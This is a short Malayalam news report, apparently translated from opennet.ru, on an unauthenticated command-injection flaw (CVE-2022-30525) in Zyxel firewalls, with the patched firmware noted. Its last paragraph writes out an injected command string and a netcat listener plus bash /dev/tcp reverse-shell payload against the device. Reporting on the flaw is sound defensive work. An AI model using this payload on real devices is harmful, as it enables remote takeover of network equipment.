ആധികാരികത ഉറപ്പാക്കാതെ കോഡ് എക്‌സിക്യൂഷൻ അനുവദിക്കുന്ന Zyxel ഫയർവാളുകളിലെ ദുർബലത

എന്റർപ്രൈസസിലെ ഫയർവാളുകൾ, ഐഡിഎസ്, വിപിഎൻ എന്നിവയുടെ പ്രവർത്തനം സംഘടിപ്പിക്കാൻ രൂപകൽപ്പന ചെയ്ത ATP, VPN, USG FLEX സീരീസുകളുടെ Zyxel ഉപകരണങ്ങളിൽ ഒരു ഗുരുതരമായ കേടുപാടുകൾ (CVE-2022-30525) തിരിച്ചറിഞ്ഞിട്ടുണ്ട്, ഇത് ഒരു ബാഹ്യ ആക്രമണകാരിയെ കോഡ് എക്സിക്യൂട്ട് ചെയ്യാൻ അനുവദിക്കുന്നു. പ്രാമാണീകരണമില്ലാതെ ഉപയോക്തൃ അവകാശങ്ങളില്ലാത്ത ഉപകരണം. ഒരു ആക്രമണം നടത്താൻ, ഒരു ആക്രമണകാരിക്ക് HTTP/HTTPS പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് ഉപകരണത്തിലേക്ക് അഭ്യർത്ഥനകൾ അയയ്ക്കാൻ കഴിയണം. ZLD 5.30 ഫേംവെയർ അപ്‌ഡേറ്റിലെ അപകടസാധ്യത Zyxel പരിഹരിച്ചു. ഷോഡാൻ സേവനമനുസരിച്ച്, HTTP/HTTPS വഴിയുള്ള അഭ്യർത്ഥനകൾ സ്വീകരിക്കുന്ന ആഗോള നെറ്റ്‌വർക്കിൽ നിലവിൽ 16213 അപകടസാധ്യതയുള്ള ഉപകരണങ്ങൾ ഉണ്ട്.

ആധികാരികത ഉറപ്പാക്കാതെ തന്നെ ആക്‌സസ് ചെയ്യാവുന്ന വെബ് ഹാൻഡ്‌ലറിലേക്ക് പ്രത്യേകം രൂപകൽപ്പന ചെയ്‌ത കമാൻഡുകൾ അയച്ചാണ് പ്രവർത്തനം നടത്തുന്നത്. lib_wan_settings.py ലൈബ്രറിയിൽ ഉപയോഗിക്കുന്ന os.system കോൾ ഉപയോഗിച്ച് സിസ്റ്റത്തിൽ കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യുമ്പോൾ അഭ്യർത്ഥന പാരാമീറ്ററുകൾ ശരിയായി വൃത്തിയാക്കാത്തതാണ് പ്രശ്നത്തിന് കാരണം, കൂടാതെ setWanPortSt ഓപ്പറേഷൻ പ്രോസസ്സ് ചെയ്യുമ്പോൾ എക്സിക്യൂട്ട് ചെയ്യുന്നു.

ഉദാഹരണത്തിന്, ഒരു ആക്രമണകാരിക്ക് സ്ട്രിംഗ് "; പിംഗ് 192.168.1.210;" ഇത് സിസ്റ്റത്തിലെ "പിംഗ് 192.168.1.210" കമാൻഡ് നടപ്പിലാക്കുന്നതിലേക്ക് നയിക്കും. കമാൻഡ് ഷെല്ലിലേക്ക് പ്രവേശനം നേടുന്നതിന്, നിങ്ങളുടെ സിസ്റ്റത്തിൽ "nc -lvnp 1270" പ്രവർത്തിപ്പിക്കാൻ കഴിയും, തുടർന്ന് ' എന്നതിനൊപ്പം ഉപകരണത്തിലേക്ക് ഒരു അഭ്യർത്ഥന അയച്ചുകൊണ്ട് ഒരു റിവേഴ്സ് കണക്ഷൻ ആരംഭിക്കുക; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.

അവലംബം: opennet.ru